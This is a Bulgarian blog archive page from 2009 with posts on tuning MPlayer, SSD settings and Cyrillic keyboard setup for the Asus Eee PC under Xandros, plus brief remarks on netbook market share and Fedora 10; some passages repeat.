Изчетох доста писания по мрежата с всевъзможни „съвети“, които в крайна сметка не водят до никъде, или казват примиренчески – инсталирайте си VLC... VLC е разкошен плейър! С удоволствие го ползувам на другата си машина, но тук (на EeePC-то) има малък проблем – ВЕЧЕ не можете да си го инсталирате. Мнозина ще ме апострофират (отново мрежата е пълна със съвети точно как да го направите на EeePC-то, видите ли – просто си добавяте еди кое си хранилище...), но пак ще повторя – ВЕЧЕ не можете да си го инсталирате толкова просто... Причините са няколко. Първо Debian (на който се основава Xandros) изтъркаля един разработъчен цикъл, "порасна", един вид и вече стабилният е Lenny и второ – Etch спрямо момента към който е компилиран варианта за EeePC, освен че е oldstable и е с обновени редица библиотеки (в случая нас ни касае най-вече GTK+), така, че инсталирането на VLC от хранилищата на Debian води до неразрешими зависимости (просто aptitude няма да ви даде да го инсталирате), или ако го направите „насила“ ще получите в резултат неработеща система. Мдам... Какво да се прави Xandros е комерсиална дистрибуция. Вариантът му инсталиран на netbook-ът е хибрид между Xandros 4 (основан от своя страна на Sarge) и Etch в добавка със специално прекомпилирани програми, пачове за ядрото и прочие. Звучи съмнително, но до ден днешен това е най-добре работещата дистрибуция на тези мъници... Истина ви казвам, който и да ви убеждава в обратното! Защото машинката просто си работи с нея и то с всичките си, не малко възможности, без какъвто и да е компромис (имам предвид bluetooth, wifi, suspend, включително излизането от него, всякакви функционални клавиши, с които изобилства серията 901-1000, времето на самостоятелна работа с батерията и пр.).
Минах си през периода на съмненията и опитите да го подменя с нещо „по-съвременно“ (просто непълно изброяване – Fedora, EasyPeasy, Eeebuntu, OpenSUSE, Debian, Ubuntu NBR), почти се бях спрял на Eeebuntu, но се отказах – 1-1,5 часа по-малко батерия и доста спъната работа с bluetooth-а ме разубедиха. Моя мъник се оказа доста зле поддържан в основните дистрибуции на практика...
Разправям всичко това набързо, но това беше няколко месечен процес на упорити търсения и опити.
И така – ето ме в един момент с „моя“ си Xandros и MPlayer...
Всъщност MPlayer ми е любима програма. Беше време, в първите ми прохождащи години в Linux-света, когато да си я инсталираш, пък и да работи безотказно след това си беше голямо предизвикателство. Вършила ми е толкова много работа, че просто беше абсурдна ситуация за мен това което се получаваше с тв-стриймовете... Но все пак, решение се оказа, че има... И то безумно елементарно, просто ми е било пред очите през цялото време...
Преди каквото и да правим е необходимо да downgrade-нем Mplayer до по-стара версия, поради причина – във версията с която се доставя с netbook-а е премахната поддръжката на H-264. Темата защо, ще я пропусна. Вариантът с допълнителните хранилища на Debian, както казах по-горе вече не работи. Има по-просто решение – инсталирате си го от Asus Download (което си е по същество CNR). Смело действайте, нищо че инсталаторът ще се разпротестира, че разполагате с по-нова версия. Е... ще се сдобиете в менюто с още една икона в EasyMode менюто, но с помощта на великолепната програма emeditor, лесно се отърваваме от нея.
Сега нека да си поиграем малко с няколко опции в настройките на Mplayer. Избираме си за видеоизход – gl, за аудио – alsa.
Бях пробвал да задам видеоизход X11, при възпроизвеждане на филми не се усеща разлика, но в нашия случай е по-добре gl.
За Alsa мисля, че не е необходимо да коментирам каквото и да е...
След това отиваме на настройките за performance, където са следващите няколко съществени неща.
Подразбиращата стойност за A/V авто синхронизация е 100, което ни и създава най-много проблеми при синхрона между видеото и звука.
Може да експериментирате, но за мен стойност 10 даде напълно приемлив резултат.
Освен това си отмятате „alow frame drop“ и „alow hard frame drop“ нищо, че второто може да доведе до лоша картина, но си струва риска. Отмятаме си също използуването на cache и му задаваме стойност 9999 KB. Това са "санитарно" необходимите ни промени в подразбиращите се настройки на плейъра.
Тъй, като mozilla plugin има отделен файл с настройки, необходимо е да променим някои неща и там. Ето още как са те при мен:
Отбелязваме си отново Video Output - gl, Audio Output - alsa...
Като място за кеша обикновено ползуваме /home/user, но тук може и да е нещо друго, да кажем, рамдиск, ако ползуваме такова нещо...
Задължително си отмятате "Windows Media Player Suport", "Connect to RTSP Media over TCP" и "Use HTTP insead of RTSP". В никакъв случай не отмятайте "Play media directly...". Определяте размера на буфера (cache size) на около 9000-10000 KB (тук е с плъзгач и точна стойност се постига малко неудобно) и слагате не повече от 25-30% за буфериране, иначе ще изчаквате доста в началото докато се стартира стрийма.
Всъщност това е всичко. Предполагам за по-добро качество може да се поекспериментира и с вградените възможности ва MPlayer за post-processing, но лично аз не се задълбах толкова много. За тези, които са по-любопитни ето едно занимателно четиво съпричастно на темата — fine-tuning-mplayer
Желая ви приятни online часове с любимия телевизионен канал !
неделя, 24 май 2009 г.
Linux размисли в неделя вечер
Понякога се чудя, защо изобщо си губя времето да изпробвам нови дистрибуции на нетбука – Eee PC 901, като в крайна сметка стигам до извода, че най-доброто решение за него е именно тази с която се продава (Xandros за Eee PC). Разсъждавах днес по този въпрос след тест на Eeebuntu 3.0... Не ще и дума, добра работа – външен вид, приложения... Докато стигнете до разни “дребни” подробности. Като да речем бутона за вкл./изкл. На WiFi Radar... Не ще и дума, че вече работи – работи (и до сега в практически всички останали въпросната комбинация не работи – Fn+F2). Но докато не решите, поради някаква причина да изключите безжичната мрежа – просто повече няма да може да я включте, независимо от това, че хардуера реагира (синия диод свети) и ви излиза OSD със съответното съобщение – за ОС безжична мрежа няма... Откровено казано не ми се и рови по форумите да намирам решение... Писнало ми е от, явно всевечната особеност на OSS – правено, недоправено.
Сещам се за ходенето по мъките, с “големия” ми ноутбук преди около година и половина (писано доста и тук по въпроса). Имаше период в който всичко работеше перфектно и в един момент със следващите версии на дистрибуциите всичко се срина. Междувременно на него почти напълно съм се отказал да използувам Linux, защото е с нещастен, стар неподдържан чип на ATI, което ще рече – НИКАКВО ЧИТАВО 3D на видеокартата, което ще рече, забравете за Google Earth, примерно.
Пресни впечатления от тази събота и неделя – поиграх си малко с Mandriva 2009.1 и Ubuntu 9.04 на него (Packard Bell MZ36). При първата Pulse audio сървъра се крашва когато му скимне, а бутоните за увеличаване и намаляване на звука изобщо не работят, дори и след като специално ги настройвах – досега винаги, поне те са работили безупречно... А в Ubuntu реших да проверя работи ли suspend to RAM, но и това се оказа, че вече не работи... Преди проблемът обикновено беше в fglrx – проприетарен “боклук”, както му се носи славата, но сега поне вече е с radeon...
Тъжни мисли...
Сещам се за ходенето по мъките, с “големия” ми ноутбук преди около година и половина (писано доста и тук по въпроса). Имаше период в който всичко работеше перфектно и в един момент със следващите версии на дистрибуциите всичко се срина. Междувременно на него почти напълно съм се отказал да използувам Linux, защото е с нещастен, стар неподдържан чип на ATI, което ще рече – НИКАКВО ЧИТАВО 3D на видеокартата, което ще рече, забравете за Google Earth, примерно.
Пресни впечатления от тази събота и неделя – поиграх си малко с Mandriva 2009.1 и Ubuntu 9.04 на него (Packard Bell MZ36). При първата Pulse audio сървъра се крашва когато му скимне, а бутоните за увеличаване и намаляване на звука изобщо не работят, дори и след като специално ги настройвах – досега винаги, поне те са работили безупречно... А в Ubuntu реших да проверя работи ли suspend to RAM, но и това се оказа, че вече не работи... Преди проблемът обикновено беше в fglrx – проприетарен “боклук”, както му се носи славата, но сега поне вече е с radeon...
Тъжни мисли...
понеделник, 4 май 2009 г.
Някои особености при работата със SSD в Linux
SSD (Solid State Drives)-твърдотели дискови устройства - не знам на български как би било най-правилно да се преведе, но и не мисля да го правя, защото терминът доби популярност. Та - SSD са една от интересните новости в IT индустрията през последните десетина години. Те са устойчиви на удари и сътресения, консумират по-малко енергия, отделят по-малко топлина и са с много бърз достъп. Ако имате PC оборудван със SSD, също както повечето нетбуци от фамилията Еее PC, има няколко особености за по-добра работата с тях и удължаване на живота им, тъй като съвременните операционни системи, все още не са оптимизирани по подразбиране за работа с тях (изключвам тези, които са преинсталирани от производителя). Няма да се спирам тук на въпроса, защото темата на статията не е тази, но накратко най-неприятната особеност на твърдотелите дискове (освен цената им все още) е фиксирания брой записи, които могат да осъществят преди да дефектират. За най-разпространените устройства в момента тя е около 100000 (сто хиляди) цикъла... На пръв поглед цифрата говори и много и нищо, но характерното тук е, че програмата, осъществяваща работата на самото устройство на ниско ниво, разпределя физически записваната информация по такъв начин върху елементите на диска, че те да са натоварени равномерно във времето. Доста се изписа по този въпрос, откакто SSD станаха популярно решение, но на практика "животът" им значително надвишава живота на един HDD при нормална, ежедневна работа.
И така, ето няколко съвета, които ще дадем :
1.
За файлова система на вашия SSD е най-добре да предпочетете някоя от НЕ-журналните (примерно ext2)... Поддържането на журнала в една такава ФС е свързано с писане върху фиксирани места по нея, което е в разрез със споменатото по-горе изискване за намаляване до минимум на писането по диска (правя тук забележката, че това не е общоприето мнение - в преинсталирания Xandros на Еее PC 901 user-дялът е форматиран с ext3...).
Освен това, най-добре е такова устройство да се монтира с опцията noatime. По подразбиране Linux ще записва вашите файлове с активирана опция -last accessed time. Това би намалило живота на вашия диск увеличавайки броя на записванията, тъй като независимо от това дали сте отворили даден файл само за четене, след приключване на работата по него файловата система ще обнови атрибута му за време/дата. Опцията noatime ще изключи този режим. Къде става това? Естествено във файла /etc/fstab...
2.
За да спестим допълнително писане по диска можем да си създадем рамдиск (особено тези, които имат повече от 1GB RAM) и да го посочим, като място използувано за временните файлове. Отворете пак /etc/fstab и добавете следния ред в него :
tmpfs /tmp tmpfs defaults,noatime,mode=1777 0 0
рестартирайте, и сега можете да проверите – при изпълнение на df в списъка на монтираните системи ще видите нещо такова :
tmpfs 513472 30320 483152 6% /tmp
3.
Firefox по подразбиране използува за кеш на временните си файлове домашната ви папка. Премествайки този кеш за съхранение във вече създадения рамдиск не само ще намалите писането по физическото устройство, но и ще ускорите работата на браузъра, понеже достъпа до RAM е доста по-бърз от този до която и да е външна памет. Отворете about:config на Firefox. С десен клик на мишката в полето създавате нов string value с име – browser.cache.disk.parent_directory и и задавате стойност /tmp.
4.
В Linux подразбиращия се режим на четене/запис на данните ( I/O scheduler) е cfg - completely fair queuing . По-общо казано това означава, че ресурсите между приложенията са разпределени по начин еквивалентен на дяла им от общото процесорно време. Този режим работи добре при обикновени HDD дискове, но досегашния опит е показал, че при SSD създава проблеми. Да кажем, при записване на голям файл, всички останали приложения ще изчакват, докато завърши тази операция, което води до неприятни увисвания на системата на моменти. Това е по-скоро недостатък, присъщ на Eee PC, защото SSD на който е личната директория на потребителя (sdb) е малко бавен, все пак е гонен нисък ценови сегмент на нетбука...
Режимът може да се промени, без да се рестартира компютъра, ето как. Първо проверете режимите, които имате на разположение:
cat /sys/block/sdb/queue/scheduler
Тук sdb може да е и друго, според случая. Обикновено имате четири възможности, като използувания режим е ограден с квадратни скоби (резултатът от предишната команда) :
noop anticipatory deadline [cfq]
Две от тях са по-добрия избор при работа със SSD: noop и deadline (при noop всички приложения се подреждат на, един вид проста опашка по реда на заявка, докато deadline прилага критерия "краен срок за приключване на I/O операция" и сортира приложенията, освен по реда на заявка и по него) . Приложенията пак ще изчакват, но само за няколко секунди докато диска е отново свободен. Не е кой знае какво, но е по-добре от cfg... Правя тук уговорката, че давам доста елементарни определения за режимите на scheduler в една Linux-система, доколкото е необходима известна яснота за какво става дума.
Ето как да зададем нов режим :
echo deadline > /sys/block/sda/queue/scheduler
Отбелязвам, че тази промяна трябва за се извърши само като root, при това не чрез sudo... Още нещо – за да остане това в сила при обновление на ядрото, защото повечето дистрибуции презаписват повечето такива настройки ще направим още нещо. Във файла menu.lst в /boot/grub/ има един ред с параметри, които се пазят при ъпгрейд – редът kopt... изглежда така:
# kopt=root=UUID=6722605f-677c-4d22-b9ea-e1fb0c7470ee ro
В никакъв случай не махайте знака за коментар !!! Само в края на реда добавете следното :
elevator=deadline
Запазете и затворете файла, след това не забравяйте update-grub...
Ако случайно сте любопитни да узнаете колко е бърз вашия SSD, може да направите следния тест :
sudo hdparm -t /dev/sdb
петък, 6 март 2009 г.
Linux губи ли пазарен дял сред netbook ?
Наляво и надясно в интернет пространството(тук и тук, примерно) се коментират последните внушения на пазарни анализатори, че Linux отстъпи позиции в сегмента на netbook-машинките. На пръв поглед това е така - "90% от продадените такива машинки в USA през последните месеци са с Windows XP"... Но дали това е точно така? При внимателно анализиране на фактите, ситуацията изглежда малко по-друга. Погледнете какво точно се продава в момента с етикета "нетбук" и решете сами: дисплеи над 9", масово с 10" (Asus изрично казаха, че за в бъдеще се отказват от 7/8,9" решения); класически твърди дискове - рядко 80, масово 160 GB; четох дори някъде за решение с оптично устройство... Какви нетбуци са това? По-скоро производителите леко се изместиха от нишата и всички тези устройства клонят повече към мини-ноутбуци, набутани в кожата на нетбук. Купувайки такова устройство масовия потребител е с нагласата то да му даде почти пълната функционалност на един десктоп (въпросът е спорен, доколко това е напълно изпълнимо в рамките на Atom-платформата). Същия този масов потребител, последните 15 години, просто живее сред решенията на Microsoft. Съчетано с доста ограничената функционалност на преинсталираните Linux-дистрибуции на "класическите" нетбуци, откъм възможността за добавяне на нови приложения, напълно естествено е масовата реакция да е към добре познатото... В добавка към това дойде добре преценената пазарна политика на ръководството на Microsoft да "възкреси" Windows XP (върха на технологията от 2001 година...)
Какво да добавя? Няма да крия, че всичко това ме изпълва със смесени чувства... 10% дял от пазара не е никак малко - помислете (Apple традиционно се върти окололо 15), допреди година-две реалният дял на Linux не надвишаваше процент и половина. От друга страна за пореден път лъсна досадната истина - зад Linux-десктопа реално няма последователен мениджмънт, а пазара изисква пазарно мислене.
Какво да добавя? Няма да крия, че всичко това ме изпълва със смесени чувства... 10% дял от пазара не е никак малко - помислете (Apple традиционно се върти окололо 15), допреди година-две реалният дял на Linux не надвишаваше процент и половина. От друга страна за пореден път лъсна досадната истина - зад Linux-десктопа реално няма последователен мениджмънт, а пазара изисква пазарно мислене.
четвъртък, 19 февруари 2009 г.
Кирилица за Еее PC 901, 1000... в няколко стъпки
Вече два, или три пъти ме питат точно как да се инсталира кирилица на Asus Еее PC 901, 1000 и пр. Та реших, че най-добре да напиша всичко тук, за да бъде съвсем прегледно.
Разликата в сравнение с по-старите модели на Eee PC е, че тук програмата за клавиатурните подредби е gcin – клонинг на scim, специализиран за китайските потребители, което нас специално изобщо не ни грее...
Та така...
Първо
Сваляте си аплета за превключване на клавиатурата за KDE, и го записвате някъде във вашата директория (няма значение къде, важното да знаете къде е) – за нашия случай това ще е /home/user. Значи, ще го свалим с wget, защото сваляйки го през браузера автоматично се стартира вградения инсталатор на пакети на Xandros, каето не е удачно в момента. Отваряме терминален прозорец с клавишната комбинация ctrl + alt + t и там пишем следното :
wget http://ftp.de.debian.org/debian/pool/main/k/kkbswitch/kkbswitch_1.4.3-3_i386.deb
Значи това е версията за Debian Etch, която ни е необходима. Ако линка не проработи поради някаква случайност може да вземете кой да е от страницата му в Debian – http://packages.debian.org/etch/i386/kkbswitch/download.
wget http://lukav.com/eeepc/kkbswitch_1.4.3-3_i386.deb
(забележка - поради причини за които не ми се рови, посочения пакет в първоначалния вариант дава неразрешени зависимости, затова ползувайте този на lukav б.а.)
След като сме го свалили, следва да го инсталираме, което става по следния начин (все още не сме затворили терминалния прозорец) :
sudo dpkg -i kkbswitch_1.4.3-3_i386.deb
Второ
Все още не сме затворили терминалния прозорец (ако сте го затворили - ctrl + alt + t...) и там изпълнявате следните няколко команди :
sudo killall gcin
sudo apt-get remove --purge gcin*
с първата спирате работата на аплета, с втората го изтривате от системата.
Трето
Настройваме вградената функционалност на Xorg за работа с кирилица (да именно – вградена, не е необходимо да си търсите шрифтове и пр.). Пак в терминалния прозорец, който трябва да е все още отворен(ако не - ctrl+alt+t) и пишете следното:
cd /etc/X11/
sudo cp xorg.conf xorg.conf.bkp
sudo nano xorg.conf
с първата команда сменяме текущата директоря с /etc/X11/, с втората създаваме резервно копие на файла xorg.conf, с третата отваряме текстов редактор с въпросния файл, който всъщност е конфигурационния файл на графичната система на компютъра. Намирате в него следния текст (движението на курсьора тук става само със стрелките):
Section "InputDevice"
Identifier "keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbLayout" "us"
EndSection
И го променяте така, ако искате да имате фонетична подредба на клавиатурата :
Section "InputDevice"
Identifier "keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbLayout" "us,bg"
Option "XkbVariant" ",phonetic"
Option "XkbOptions" "grp:alt_shift_toggle"
EndSection
или така, ако искате да имате подредба на клавиатурата по БДС:
Section "InputDevice"
Identifier "keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbLayout" "us,bg"
Option "XkbVariant" ",bds"
Option "XkbOptions" "grp:alt_shift_toggle"
EndSection
Клавишната комбинация за превключване е alt + shift... Тук може и да е друго, но го оставям на вашето въображение. Проверявате дали сте написали всичко много точно, защото ако не сте, може да не успее да се стартира графичната среда и по-неопитните да се озоват в небрано лозе. Натискате клавишната комбинация ctrl + x (изход от редактора), на командния ред в долната част ви се появява въпрос дали да съхраните промените - отговаряте на въпроса с y (yes), появява се името на файла - натискате enter за да потвърдите и готово.
Четвърто
Ако сте затворили терминала, отваряте го отново и пишете:
sudo nano /etc/X11/Xsession.d/98x11-kkbswitch
и пишете вътре следното :
/usr/bin/kkbswitch &
Записвате файла по познатия начин – ctrl +x и т.н. С това осигуряваме автоматичното стартиране на аплета за клавиатурните подредби със стартирането на графичната среда.
Сега вече може да рестартираме Eee PC и в трея ще имаме иконка с цифрички 1 и 2 за английска и българска клавиатурна подредба. Това естествено е малко постничко, затова с десен клавиш кликваме върху нея и от "конфигуриране" си избираме съответните флагчета, според вкуса ни...
Понякога, поради не много ясни за мен причини аплета не се стартира. В този случай отваряме терминален прозорец и в него пишем следното :
kkbswitch &
и натискаме enter. След малко в трея се появява флагчето, след което можем да затворим терминала.
Разликата в сравнение с по-старите модели на Eee PC е, че тук програмата за клавиатурните подредби е gcin – клонинг на scim, специализиран за китайските потребители, което нас специално изобщо не ни грее...
Та така...
Първо
Сваляте си аплета за превключване на клавиатурата за KDE, и го записвате някъде във вашата директория (няма значение къде, важното да знаете къде е) – за нашия случай това ще е /home/user. Значи, ще го свалим с wget, защото сваляйки го през браузера автоматично се стартира вградения инсталатор на пакети на Xandros, каето не е удачно в момента. Отваряме терминален прозорец с клавишната комбинация ctrl + alt + t и там пишем следното :
Значи това е версията за Debian Etch, която ни е необходима. Ако линка не проработи поради някаква случайност може да вземете кой да е от страницата му в Debian – http://packages.debian.org/etch/i386/kkbswitch/download.
wget http://lukav.com/eeepc/kkbswitch_1.4.3-3_i386.deb
(забележка - поради причини за които не ми се рови, посочения пакет в първоначалния вариант дава неразрешени зависимости, затова ползувайте този на lukav б.а.)
След като сме го свалили, следва да го инсталираме, което става по следния начин (все още не сме затворили терминалния прозорец) :
sudo dpkg -i kkbswitch_1.4.3-3_i386.deb
Второ
Все още не сме затворили терминалния прозорец (ако сте го затворили - ctrl + alt + t...) и там изпълнявате следните няколко команди :
sudo killall gcin
sudo apt-get remove --purge gcin*
с първата спирате работата на аплета, с втората го изтривате от системата.
Трето
Настройваме вградената функционалност на Xorg за работа с кирилица (да именно – вградена, не е необходимо да си търсите шрифтове и пр.). Пак в терминалния прозорец, който трябва да е все още отворен(ако не - ctrl+alt+t) и пишете следното:
cd /etc/X11/
sudo cp xorg.conf xorg.conf.bkp
sudo nano xorg.conf
с първата команда сменяме текущата директоря с /etc/X11/, с втората създаваме резервно копие на файла xorg.conf, с третата отваряме текстов редактор с въпросния файл, който всъщност е конфигурационния файл на графичната система на компютъра. Намирате в него следния текст (движението на курсьора тук става само със стрелките):
Section "InputDevice"
Identifier "keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbLayout" "us"
EndSection
И го променяте така, ако искате да имате фонетична подредба на клавиатурата :
Section "InputDevice"
Identifier "keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbLayout" "us,bg"
Option "XkbVariant" ",phonetic"
Option "XkbOptions" "grp:alt_shift_toggle"
EndSection
или така, ако искате да имате подредба на клавиатурата по БДС:
Section "InputDevice"
Identifier "keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbLayout" "us,bg"
Option "XkbVariant" ",bds"
Option "XkbOptions" "grp:alt_shift_toggle"
EndSection
Клавишната комбинация за превключване е alt + shift... Тук може и да е друго, но го оставям на вашето въображение. Проверявате дали сте написали всичко много точно, защото ако не сте, може да не успее да се стартира графичната среда и по-неопитните да се озоват в небрано лозе. Натискате клавишната комбинация ctrl + x (изход от редактора), на командния ред в долната част ви се появява въпрос дали да съхраните промените - отговаряте на въпроса с y (yes), появява се името на файла - натискате enter за да потвърдите и готово.
Четвърто
Ако сте затворили терминала, отваряте го отново и пишете:
sudo nano /etc/X11/Xsession.d/98x11-kkbswitch
и пишете вътре следното :
/usr/bin/kkbswitch &
Записвате файла по познатия начин – ctrl +x и т.н. С това осигуряваме автоматичното стартиране на аплета за клавиатурните подредби със стартирането на графичната среда.
Сега вече може да рестартираме Eee PC и в трея ще имаме иконка с цифрички 1 и 2 за английска и българска клавиатурна подредба. Това естествено е малко постничко, затова с десен клавиш кликваме върху нея и от "конфигуриране" си избираме съответните флагчета, според вкуса ни...
Понякога, поради не много ясни за мен причини аплета не се стартира. В този случай отваряме терминален прозорец и в него пишем следното :
kkbswitch &
и натискаме enter. След малко в трея се появява флагчето, след което можем да затворим терминала.
сряда, 18 февруари 2009 г.
Пак Fedora...
.jpg)
Хмх... поради разни причини все пак успях да скапам Linpus-а на Acer Aspire One, който имаме в къщи (шило в торба не стои). Та реших да направя така, или иначе проба и инсталирах Fedora 10...
Безкрайно приятно изненадан бях, че всичко си работеше. Имаше нужда само от малко оптимизиране с оглед наличието на SSD и още няколко дребни неща (спиране на някои услуги, махане на излишни приложения). Инсталацията зае до тук около 2,5 Гигабайта. Предполагам, че може още да се поокръцка...Ето две снимки като нагледен материал.
Скоро, ще има подробен коментар. При всяко положение, дори с GNOME, ААО работи перфектно с Fedora 10.
Абонамент за:
Публикации (Atom)